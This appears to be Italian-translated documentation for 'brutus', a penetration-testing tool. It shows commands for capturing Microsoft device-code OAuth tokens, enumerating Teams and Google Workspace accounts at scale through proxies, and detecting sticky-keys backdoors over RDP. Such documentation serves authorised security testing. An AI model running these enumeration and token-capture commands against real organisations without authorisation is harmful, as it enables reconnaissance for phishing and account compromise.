Ottieni un token di accesso OAuth2, un token di aggiornamento e un token ID da Microsoft Entra ID (Azure AD) utilizzando il [flusso del codice del dispositivo](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). I token risultanti possono essere utilizzati per chiamate API di Microsoft Graph, enumerazione di Teams e auditing tramite strumenti come [ROADtools](https://github.com/dirkjanm/ROADtools) o query Graph personalizzate.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

Come funziona:

  1. Brutus richiede un codice dispositivo da login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  2. Vengono mostrati un breve codice e un URL — apri l'URL in qualsiasi browser e inserisci il codice
  3. Brutus interroga finché non completi l'accesso, il codice scade o premi Ctrl+C
  4. In caso di successo, vengono stampati il token di accesso, il token di aggiornamento e il token ID

Output leggibile mostra solo i primi 20 caratteri del token di accesso (sufficienti per la verifica). Usa --json o -o per catturare i valori completi del token.

ID client predefinito: L'applicazione desktop Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264), un client pubblico di prima parte che supporta il flusso del codice dispositivo. Sostituisci con --client-id per usare la tua registrazione app.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

[*] Waiting for you to complete sign-in...

[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

#### Enumerazione utenti di Teams

Una volta autenticati, enumera gli utenti aziendali di Teams tramite indirizzo email. Ogni risultato è `exists`, `blocked` (il tenant proibisce la ricerca esterna ma l'utente potrebbe esistere), `not found`, o `unknown` (errore di autenticazione/trasporto). Gli account personali/Live non sono supportati — solo tenant aziendali.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

Quando un token di refresh è disponibile (tramite --token-file o --refresh-token), un token di accesso scaduto viene rinnovato automaticamente una volta; altrimenti un errore 401 degrada con garbo a un risultato unknown.


Enumerazione account Google Workspace

Controlla se gli indirizzi email corrispondono ad account Google utilizzando due oracoli non autenticati — nessun token o accesso richiesto:

  • Reindirizzamento SSO di AccountChooser — rivela account Workspace su domini configurati con accesso singolo, più il host del provider di identità (IdP) a cui reindirizzano (workspace-sso).
  • Sonda Gmail GXLU — rivela account abilitati a Gmail (gmail).

Ogni risultato è exists (con il metodo di conferma e, per SSO, l'host IdP) o not found.```bash

Enumerate a couple of emails

brutus enum active google -e [email protected],[email protected]

Generate candidate emails for a domain and enumerate the most-likely 5000

brutus enum active google --domain target.com --format first.last --limit 5000

Enumerate emails from a file

brutus enum active google -E emails.txt

Route through a SOCKS5 proxy and raise concurrency

brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

`--domain` riutilizza lo stesso generatore di nomi e cognomi ordinati per frequenza di
`enum generate`; `--format` seleziona la struttura del nome utente e `--limit` limita
la generazione ai primi N candidati (più probabili). `--domain` può essere combinato
con `-e`/`-E`.

---

## Limitazioni Note

### Rilevamento Euristico dei Tasti Bloccati

- **Falsi negativi alternati:** Il rilevamento basato solo su euristiche (`brutus logon` senza `--experimental-ai`) può produrre falsi negativi su scansioni ripetute contro lo stesso target. Dopo un rilevamento riuscito, la finestra cmd.exe rimane aperta sul server. Le connessioni successive vedono cmd.exe nel fotogramma di base e, poiché l'invio di 5x Shift non crea una nuova finestra, la differenza di pixel è minima — con un verdetto "pulito". Questo non influisce sulla modalità `--experimental-ai`, che utilizza l'analisi Vision API del fotogramma di risposta direttamente (non una differenza baseline-risposta) e identifica in modo affidabile la finestra del terminale indipendentemente dallo stato precedente.
- **Soluzione alternativa:** Usa `--experimental-ai` con `ANTHROPIC_API_KEY` impostata per un rilevamento consistente su scansioni ripetute, oppure lascia un intervallo di raffreddamento tra le scansioni per permettere alla sessione RDP di resettarsi.

### Plugin del Browser

- Richiede Chrome/Chromium installato localmente
- La modalità headless potrebbe non funzionare su tutti i sistemi
- Alcune pagine di login con molti JavaScript potrebbero richiedere più tempo di attesa

Categorie